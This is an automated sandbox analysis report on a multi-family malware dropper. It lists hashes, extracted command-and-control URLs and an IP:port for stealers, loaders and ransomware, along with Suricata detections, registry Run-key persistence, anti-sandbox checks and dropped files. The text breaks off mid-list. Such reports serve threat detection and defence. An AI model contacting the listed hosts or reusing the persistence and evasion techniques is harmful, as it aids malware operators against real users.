Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Resubmissions
23/10/2021, 15:52
211023-tbkbesdcfm 1022/10/2021, 17:40
211022-v8trsscggr 1022/10/2021, 15:55
211022-tc9ygacgan 1022/10/2021, 14:38
211022-rz1bfabgb8 10Analysis
-
max time kernel
1180s -
max time network
2706s -
platform
windows10_x64 -
resource
win10-de-20211014 -
submitted
22/10/2021, 15:55
Static task
static1
Behavioral task
behavioral1
Sample
Fri051e1e7444.exe
Resource
win7-ja-20210920
Behavioral task
behavioral2
Sample
Fri051e1e7444.exe
Resource
win7-en-20211014
Behavioral task
behavioral3
Sample
Fri051e1e7444.exe
Resource
win7-de-20210920
Behavioral task
behavioral4
Sample
Fri051e1e7444.exe
Resource
win11
Behavioral task
behavioral5
Sample
Fri051e1e7444.exe
Resource
win10-ja-20211014
Behavioral task
behavioral6
Sample
Fri051e1e7444.exe
Resource
win10-en-20210920
Behavioral task
behavioral7
Sample
Fri051e1e7444.exe
Resource
win10-de-20211014
General
-
Target
Fri051e1e7444.exe
-
Size
403KB
-
MD5
b4c503088928eef0e973a269f66a0dd2
-
SHA1
eb7f418b03aa9f21275de0393fcbf0d03b9719d5
-
SHA256
2a95ce43c87b8a26be71a459eae796a572422bd99cf0b9a3580a3a68e7dbd1a2
-
SHA512
c6fe2e2b5fbf9348701d1721f2b7ac7589b04b0308ae152e3a7186692b14f35e55bc7eed0c94a03031837b6f2b6aa4dc8d094aefce02913f1fbc4dedea452465
Malware Config
Extracted
vidar
41.5
937
https://mas.to/@xeroxxx
-
profile_id
937
Extracted
smokeloader
2020
http://gejajoo7.top/
http://sysaheu9.top/
http://directorycart.com/upload/
http://tierzahnarzt.at/upload/
http://streetofcards.com/upload/
http://ycdfzd.com/upload/
http://successcoachceo.com/upload/
http://uhvu.cn/upload/
http://japanarticle.com/upload/
http://nusurtal4f.net/
http://netomishnetojuk.net/
http://escalivrouter.net/
http://nick22doom4.net/
http://wrioshtivsio.su/
http://nusotiso4.su/
http://rickkhtovkka.biz/
http://palisotoliso.net/
Extracted
redline
205.185.119.191:60857
Extracted
vidar
41.5
903
https://mas.to/@xeroxxx
-
profile_id
903
Extracted
raccoon
7c9b4504a63ed23664e38808e65948379b790395
-
url4cnc
http://telegka.top/capibar
http://telegin.top/capibar
https://t.me/capibar
Extracted
icedid
1875681804
enticationmetho.ink
Extracted
djvu
http://rlrz.org/lancer
Signatures
-
Djvu Ransomware
Ransomware which is a variant of the STOP family.
-
Process spawned unexpected child process 9 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 5100 1964 schtasks.exe 108 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 7140 1964 schtasks.exe 108 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 6796 1964 rundll32.exe 108 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 7916 1964 rundll32.exe 108 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 8000 1964 schtasks.exe 108 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4480 1964 schtasks.exe 108 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4124 1964 schtasks.exe 108 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4008 1964 schtasks.exe 108 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 9040 1964 schtasks.exe 108 -
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine Payload 4 IoCs
resource yara_rule behavioral7/memory/3804-276-0x0000000004A00000-0x0000000004A1F000-memory.dmp family_redline behavioral7/memory/3804-283-0x0000000004AB0000-0x0000000004ACD000-memory.dmp family_redline behavioral7/memory/4364-309-0x0000000000400000-0x000000000043C000-memory.dmp family_redline behavioral7/memory/4364-310-0x00000000004368BE-mapping.dmp family_redline -
SmokeLoader
Modular backdoor trojan in use since 2014.
-
Socelars Payload 2 IoCs
resource yara_rule behavioral7/files/0x000400000001ac3b-128.dat family_socelars behavioral7/files/0x000400000001ac3b-129.dat family_socelars -
Suspicious use of NtCreateProcessExOtherParentProcess 3 IoCs
description pid Process procid_target PID 2288 created 1316 2288 WerFault.exe 81 PID 4540 created 2280 4540 WerFault.exe 85 PID 2236 created 2760 2236 WerFault.exe 82 -
suricata: ET MALWARE ClipBanker Variant Activity (POST)
suricata: ET MALWARE ClipBanker Variant Activity (POST)
-
suricata: ET MALWARE DCRAT Activity (GET)
suricata: ET MALWARE DCRAT Activity (GET)
-
suricata: ET MALWARE GCleaner Downloader Activity M5
suricata: ET MALWARE GCleaner Downloader Activity M5
-
suricata: ET MALWARE Potential Dridex.Maldoc Minimal Executable Request
suricata: ET MALWARE Potential Dridex.Maldoc Minimal Executable Request
-
suricata: ET MALWARE Sharik/Smoke CnC Beacon 11
suricata: ET MALWARE Sharik/Smoke CnC Beacon 11
-
suricata: ET MALWARE Suspicious Zipped Filename in Outbound POST Request (Passwords.txt)
suricata: ET MALWARE Suspicious Zipped Filename in Outbound POST Request (Passwords.txt)
-
suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
-
suricata: ET MALWARE Vidar/Arkei Stealer Client Data Upload
suricata: ET MALWARE Vidar/Arkei Stealer Client Data Upload
-
suricata: ET MALWARE Win32/IcedID Request Cookie
suricata: ET MALWARE Win32/IcedID Request Cookie
-
suricata: ET MALWARE Win32/Kelihos.F exe Download 2
suricata: ET MALWARE Win32/Kelihos.F exe Download 2
-
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin
-
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin M2
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin M2
-
Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
-
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
-
Vidar Stealer 5 IoCs
resource yara_rule behavioral7/memory/2280-179-0x0000000000B80000-0x0000000000C56000-memory.dmp family_vidar behavioral7/memory/2280-191-0x0000000000400000-0x00000000008E3000-memory.dmp family_vidar behavioral7/memory/1844-233-0x0000000001AC0000-0x0000000001B98000-memory.dmp family_vidar behavioral7/memory/2760-277-0x0000000000D60000-0x0000000000E36000-memory.dmp family_vidar behavioral7/memory/2760-289-0x0000000000400000-0x00000000008F1000-memory.dmp family_vidar -
Blocklisted process makes network request 10 IoCs
flow pid Process 536 7064 schtasks.exe 1813 8584 msiexec.exe 1812 8584 msiexec.exe 1851 8584 msiexec.exe 1956 8584 msiexec.exe 1957 8584 msiexec.exe 1974 8584 msiexec.exe 2020 8584 msiexec.exe 2021 8584 msiexec.exe 2027 8584 msiexec.exe -
Downloads MZ/PE file
-
Drops file in Drivers directory 2 IoCs
description ioc Process File opened for modification C:\Windows\system32\drivers\etc\hosts DYbALA.exe File opened for modification C:\Windows\system32\drivers\etc\hosts Calculator.exe -
Executes dropped EXE 64 IoCs
pid Process 3816 gckOBeKwEc_9Tb1WLDr_o55o.exe 2332 6RfiwzZkIPJvopWxqd4ouGmM.exe 1268 ZKiBxX_lZY4IIzpkXK7L8Xle.exe 1316 ADP8vL2SLdGPH8L7FyA9nk0u.exe 2280 3fQcxDlp43cF_Lkgp2hF3etw.exe 3260 zt3fotSIgq8mlNObpN9zV4Ri.exe 2080 E8SL1DWYDQfbr15Eley5KWls.exe 2328 Uv2OLZQGQUISQFphMrVjFyks.exe 3044 I5ybN5GcFFp2qz4bO557reWX.exe 1844 07110_23KBD6OrY29SHSSWf2.exe 3804 m4B4l9UNQFjYJy2qOZ8ywGcq.exe 404 E7hLWHgMHAmG2ptzTZk60djt.exe 2360 uIhpaXRSRc02XMvQzI27rw3i.exe 2096 CObebYmiTdY_PuwpkFiVDpKe.exe 3584 YTDtEif11P99NgeKwT6fC4ch.exe 432 e4XxYUrzhL2kFffGJzG8cKA3.exe 1008 CQ4wIy1JUrHTND_rGM2Jhn8d.exe 2140 S8LGJghE7EKxPiR6DNQktZgV.exe 700 CObebYmiTdY_PuwpkFiVDpKe.exe 3612 extd.exe 3344 e4XxYUrzhL2kFffGJzG8cKA3.tmp 3688 extd.exe 4020 uIhpaXRSRc02XMvQzI27rw3i.exe 4352 cutm3.exe 4456 DownFlSetup999.exe 4480 extd.exe 4556 inst3.exe 4520 netsh.exe 2760 NpQFFR5PLBhAmQZ0HxCbwNxm.exe 4760 1NfON6dm6F_QWOrKdYH7I84U.exe 5108 build.exe 2164 8A71.exe 1100 CQ4wIy1JUrHTND_rGM2Jhn8d.exe 4560 DYbALA.exe 4364 CQ4wIy1JUrHTND_rGM2Jhn8d.exe 2000 svchost.exe 3540 8pWB.eXE 2476 nksQBGgk4aKK7MdTUg8YET4X.exe 4844 Transmissibility.exe 4668 C9E7.exe 4408 uWM88AHiVsIghHqLufZXuMxT.exe 2628 HpQtObz62dT6szj1j12odrbQ.exe 4188 extd.exe 4568 KUuRjtWwC9mcEybDnxKPC2fz.exe 5116 1HpT7fOCjRqwevyYF3NF9uzi.exe 4368 hfRWQcdalGPlSdecGjYWgh99.exe 4224 hfRWQcdalGPlSdecGjYWgh99.tmp 4600 0Ynwrny1xR6Ce3aFOdXaV7vd.exe 4200 e3ciN45LF9YSOx5uTssM_4x6.exe 5552 Calculator.exe 5812 F190.exe 6008 kPBhgOaGQk.exe 5048 9CC.exe 5132 setup.exe 4184 foldershare.exe 4516 Velyxomere.exe 5304 Kakanenytae.exe 4536 foldershare.exe 4960 Nyshylamoqo.exe 5976 Lotatiqama.exe 5844 CA7D.exe 4948 GcleanerEU.exe 6148 installer.exe 6264 any.exe -
Modifies Windows Firewall 1 TTPs
-
resource yara_rule behavioral7/files/0x000400000001ac78-201.dat upx behavioral7/files/0x000400000001ac78-202.dat upx behavioral7/files/0x000400000001ac78-216.dat upx behavioral7/files/0x000400000001ac78-245.dat upx -
Checks BIOS information in registry 2 TTPs 12 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C9E7.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C9E7.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion svchost.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion svchost.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion YTDtEif11P99NgeKwT6fC4ch.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion E7hLWHgMHAmG2ptzTZk60djt.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion svchost.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion I5ybN5GcFFp2qz4bO557reWX.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion svchost.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion YTDtEif11P99NgeKwT6fC4ch.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion E7hLWHgMHAmG2ptzTZk60djt.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion I5ybN5GcFFp2qz4bO557reWX.exe -
Checks computer location settings 2 TTPs 7 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Control Panel\International\Geo\Nation 1NfON6dm6F_QWOrKdYH7I84U.exe Key value queried \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Control Panel\International\Geo\Nation Velyxomere.exe Key value queried \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Control Panel\International\Geo\Nation Nyshylamoqo.exe Key value queried \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Control Panel\International\Geo\Nation Calculator.exe Key value queried \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Control Panel\International\Geo\Nation Calculator.exe Key value queried \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Control Panel\International\Geo\Nation Calculator.exe Key value queried \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Control Panel\International\Geo\Nation Fri051e1e7444.exe -
Identifies Wine through registry keys 2 TTPs 1 IoCs
Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Wine I5ybN5GcFFp2qz4bO557reWX.exe -
Loads dropped DLL 64 IoCs
pid Process 2140 S8LGJghE7EKxPiR6DNQktZgV.exe 2140 S8LGJghE7EKxPiR6DNQktZgV.exe 2140 S8LGJghE7EKxPiR6DNQktZgV.exe 3344 e4XxYUrzhL2kFffGJzG8cKA3.tmp 2140 S8LGJghE7EKxPiR6DNQktZgV.exe 2140 S8LGJghE7EKxPiR6DNQktZgV.exe 4224 hfRWQcdalGPlSdecGjYWgh99.tmp 4200 e3ciN45LF9YSOx5uTssM_4x6.exe 4200 e3ciN45LF9YSOx5uTssM_4x6.exe 4200 e3ciN45LF9YSOx5uTssM_4x6.exe 4200 e3ciN45LF9YSOx5uTssM_4x6.exe 4200 e3ciN45LF9YSOx5uTssM_4x6.exe 5812 F190.exe 2140 S8LGJghE7EKxPiR6DNQktZgV.exe 5132 setup.exe 5132 setup.exe 4204 msiexec.exe 4204 msiexec.exe 6148 installer.exe 6148 installer.exe 6432 autosubplayer.exe 6432 autosubplayer.exe 5132 setup.exe 6992 autosubplayer.exe 5132 setup.exe 5552 Calculator.exe 6148 installer.exe 5132 setup.exe 5552 Calculator.exe 5552 Calculator.exe 4580 MsiExec.exe 4580 MsiExec.exe 5132 setup.exe 6992 autosubplayer.exe 1844 Calculator.exe 2140 S8LGJghE7EKxPiR6DNQktZgV.exe 5624 Calculator.exe 5624 Calculator.exe 5624 Calculator.exe 6580 Calculator.exe 6580 Calculator.exe 6580 Calculator.exe 5708 Calculator.exe 5708 Calculator.exe 5708 Calculator.exe 5628 Calculator.exe 5628 Calculator.exe 5628 Calculator.exe 5624 Calculator.exe 5612 Calculator.exe 5628 Calculator.exe 5612 Calculator.exe 5612 Calculator.exe 5612 Calculator.exe 6176 Calculator.exe 6176 Calculator.exe 6176 Calculator.exe 4268 Calculator.exe 4268 Calculator.exe 4268 Calculator.exe 6248 MicrosoftEdgeCP.exe 6248 MicrosoftEdgeCP.exe 6248 MicrosoftEdgeCP.exe 6248 MicrosoftEdgeCP.exe -
Modifies file permissions 1 TTPs 1 IoCs
pid Process 5184 icacls.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
resource yara_rule behavioral7/files/0x000400000001ac3a-156.dat themida behavioral7/memory/404-218-0x0000000000E90000-0x0000000000E91000-memory.dmp themida -
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Adds Run key to start application 2 TTPs 8 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysHelper = "\"C:\\Users\\Admin\\AppData\\Local\\fe059447-cd3e-4d30-b78a-a08e44fc527e\\8EED.exe\" --AutoStart" 8EED.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\S8LGJghE7EKxPiR6DNQktZgV = "\"C:\\ProgramData\\Application Data\\S8LGJghE7EKxPiR6DNQktZgV.exe\"" I5ybN5GcFFp2qz4bO557reWX.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\system recover = "\"C:\\Program Files (x86)\\Microsoft.NET\\Jajaequsishae.exe\"" DYbALA.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\build = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\BroadcastMsg_1634221883\\build.exe\"" I5ybN5GcFFp2qz4bO557reWX.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\system recover = "\"C:\\Program Files (x86)\\Google\\Katozhopawe.exe\"" Calculator.exe Key created \REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Run setup.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Calculator = "C:\\Users\\Admin\\AppData\\Roaming\\Calculator\\Calculator.exe --loGQqfG2tg" setup.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\RuntimeBroker = "\"C:\\Windows\\System32\\rastlsext\\RuntimeBroker.exe\"" I5ybN5GcFFp2qz4bO557reWX.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
description ioc Process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA YTDtEif11P99NgeKwT6fC4ch.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA E7hLWHgMHAmG2ptzTZk60djt.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA svchost.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA C9E7.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA cmd.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA svchost.exe -
Enumerates connected drives 3 TTPs 48 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\J: installer.exe File opened (read-only) \??\K: installer.exe File opened (read-only) \??\P: installer.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\F: msiexec.exe File opened (read-only) \??\E: installer.exe File opened (read-only) \??\F: installer.exe File opened (read-only) \??\Y: installer.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\G: installer.exe File opened (read-only) \??\U: installer.exe File opened (read-only) \??\V: installer.exe File opened (read-only) \??\X: installer.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\B: installer.exe File opened (read-only) \??\Q: installer.exe File opened (read-only) \??\R: installer.exe File opened (read-only) \??\T: installer.exe File opened (read-only) \??\W: installer.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\I: installer.exe File opened (read-only) \??\O: installer.exe File opened (read-only) \??\S: installer.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\H: installer.exe File opened (read-only) \??\N: installer.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\Z: installer.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\A: installer.exe File opened (read-only) \??\L: installer.exe File opened (read-only) \??\M: installer.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\J: msiexec.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 21 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 17 ipinfo.io 172 ipinfo.io 235 ipinfo.io 352 ipinfo.io 1487 ip-api.com 18 ipinfo.io 175 ipinfo.io 351 ipinfo.io 4289 api.2ip.ua 7890 api.2ip.ua 236 ipinfo.io 766 api.2ip.ua 770 api.2ip.ua 1063 api.2ip.ua 4262 api.2ip.ua 5625 api.2ip.ua 6840 api.2ip.ua 171 ipinfo.io 176 ipinfo.io 251 ip-api.com 364 ip-api.com -
Drops file in System32 directory 10 IoCs
description ioc Process File created C:\Windows\SysWOW64\rastlsext\RuntimeBroker.exe I5ybN5GcFFp2qz4bO557reWX.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751 svchost.exe File opened for modification C:\Windows\System32\Tasks\S8LGJghE7EKxPiR6DNQktZgV svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\6BADA8974A10C4BD62CC921D13E43B18_28DEA62A0AE77228DD387E155AD0BA27 svchost.exe File created C:\Windows\SysWOW64\rastlsext\9e8d7a4ca61bd92aff00cc37a7a4d62a2cac998d I5ybN5GcFFp2qz4bO557reWX.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\counters2.dat svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\686AD3B12FDB68487AAEA92D0A823EB3 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\686AD3B12FDB68487AAEA92D0A823EB3 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\6BADA8974A10C4BD62CC921D13E43B18_28DEA62A0AE77228DD387E155AD0BA27 svchost.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 3 IoCs
pid Process 404 E7hLWHgMHAmG2ptzTZk60djt.exe 3044 I5ybN5GcFFp2qz4bO557reWX.exe 4668 C9E7.exe -
Suspicious use of SetThreadContext 11 IoCs
description pid Process procid_target PID 2096 set thread context of 700 2096 CObebYmiTdY_PuwpkFiVDpKe.exe 99 PID 2360 set thread context of 4020 2360 uIhpaXRSRc02XMvQzI27rw3i.exe 105 PID 4520 set thread context of 2164 4520 netsh.exe 128 PID 1008 set thread context of 4364 1008 CQ4wIy1JUrHTND_rGM2Jhn8d.exe 143 PID 1356 set thread context of 7976 1356 8EED.exe 269 PID 8532 set thread context of 8672 8532 8EED.exe 288 PID 8176 set thread context of 8908 8176 MicrosoftEdgeCP.exe 291 PID 5724 set thread context of 6628 5724 build3.exe 301 PID 2248 set thread context of 5856 2248 svchost.exe 309 PID 9172 set thread context of 812 9172 build2.exe 311 PID 5872 set thread context of 6012 5872 mstsca.exe 333 -
Drops file in Program Files directory 64 IoCs
description ioc Process File created C:\Program Files (x86)\lighteningplayer\plugins\access\libsftp_plugin.dll autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\demux\libau_plugin.dll autosubplayer.exe File opened for modification C:\Program Files (x86)\lighteningplayer\plugins\audio_output\libadummy_plugin.dll autosubplayer.exe File opened for modification C:\Program Files (x86)\lighteningplayer\plugins\demux\libimage_plugin.dll autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\index.html autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\spu\libmosaic_plugin.dll autosubplayer.exe File opened for modification C:\Program Files (x86)\lighteningplayer\lua\modules\simplexml.luac autosubplayer.exe File opened for modification C:\Program Files (x86)\lighteningplayer\lua\http\images\Video-48.png autosubplayer.exe File opened for modification C:\Program Files (x86)\lighteningplayer\lua\modules\common.luac autosubplayer.exe File opened for modification C:\Program Files (x86)\lighteningplayer\plugins\access\libftp_plugin.dll autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\css\ui-lightness\images\ui-icons_228ef1_256x240.png autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\playlist\youtube.luac autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\sd\jamendo.luac autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\mobile_view.html autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\playlist\anevia_xml.luac autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\access\libsatip_plugin.dll autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\audio_output\libmmdevice_plugin.dll autosubplayer.exe File opened for modification C:\Program Files (x86)\lighteningplayer\lua\http\images\Other-48.png autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\access\libaccess_realrtsp_plugin.dll autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\demux\libxa_plugin.dll autosubplayer.exe File opened for modification C:\Program Files (x86)\lighteningplayer\plugins\access\libsdp_plugin.dll autosubplayer.exe File opened for modification C:\Program Files (x86)\lighteningplayer\lua\http\vlm.html autosubplayer.exe File opened for modification C:\Program Files (x86)\lighteningplayer\lua\intf\luac.luac autosubplayer.exe File opened for modification C:\Program Files (x86)\lighteningplayer\lua\playlist\bbc_co_uk.luac autosubplayer.exe File opened for modification C:\Program Files (x86)\lighteningplayer\plugins\meta_engine\libfolder_plugin.dll autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\css\ui-lightness\images\ui-icons_ffffff_256x240.png autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\dialogs\mosaic_window.html autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\images\buttons.png autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\images\vlc-48.png autosubplayer.exe File opened for modification C:\Program Files (x86)\lighteningplayer\plugins\demux\libps_plugin.dll autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\playlist\newgrounds.luac autosubplayer.exe File opened for modification C:\Program Files (x86)\lighteningplayer\lua\http\vlm_export.html autosubplayer.exe File opened for modification C:\Program Files (x86)\lighteningplayer\lua\http\css\ui-lightness\images\ui-bg_highlight-soft_75_ffe45c_1x100.png autosubplayer.exe File opened for modification C:\Program Files (x86)\lighteningplayer\lua\playlist\soundcloud.luac autosubplayer.exe File opened for modification C:\Program Files (x86)\lighteningplayer\plugins\demux\libes_plugin.dll autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\dialogs\error_window.html autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\keystore\libmemory_keystore_plugin.dll autosubplayer.exe File opened for modification C:\Program Files (x86)\lighteningplayer\plugins\packetizer\libpacketizer_dts_plugin.dll autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\playlist\soundcloud.luac autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\access\libvcd_plugin.dll autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\packetizer\libpacketizer_mlp_plugin.dll autosubplayer.exe File opened for modification C:\Program Files (x86)\lighteningplayer\lua\http\requests\README.txt autosubplayer.exe File opened for modification C:\Program Files (x86)\lighteningplayer\lua\meta\art\00_musicbrainz.luac autosubplayer.exe File opened for modification C:\Program Files (x86)\lighteningplayer\lua\modules\dkjson.luac autosubplayer.exe File opened for modification C:\Program Files (x86)\lighteningplayer\lua\playlist\vocaroo.luac autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\mobile_browse.html autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\intf\dummy.luac autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\modules\sandbox.luac autosubplayer.exe File opened for modification C:\Program Files (x86)\lighteningplayer\lua\http\view.html autosubplayer.exe File opened for modification C:\Program Files (x86)\lighteningplayer\plugins\audio_output\libwaveout_plugin.dll autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\dialogs\create_stream.html autosubplayer.exe File opened for modification C:\Program Files (x86)\lighteningplayer\lua\extensions\VLSub.luac autosubplayer.exe File opened for modification C:\Program Files (x86)\lighteningplayer\lua\http\js\ui.js autosubplayer.exe File opened for modification C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe zt3fotSIgq8mlNObpN9zV4Ri.exe File created C:\Program Files (x86)\lighteningplayer\lua\meta\reader\filename.luac autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\access\libnfs_plugin.dll autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\audio_output\libafile_plugin.dll autosubplayer.exe File opened for modification C:\Program Files (x86)\lighteningplayer\lua\http\images\buttons.png autosubplayer.exe File opened for modification C:\Program Files (x86)\Company\NewProduct\Uninstall.exe ZKiBxX_lZY4IIzpkXK7L8Xle.exe File created C:\Program Files (x86)\Company\NewProduct\Uninstall.ini ZKiBxX_lZY4IIzpkXK7L8Xle.exe File created C:\Program Files (x86)\lighteningplayer\plugins\demux\libvc1_plugin.dll autosubplayer.exe File opened for modification C:\Program Files (x86)\lighteningplayer\lua\intf\dumpmeta.luac autosubplayer.exe File opened for modification C:\Program Files 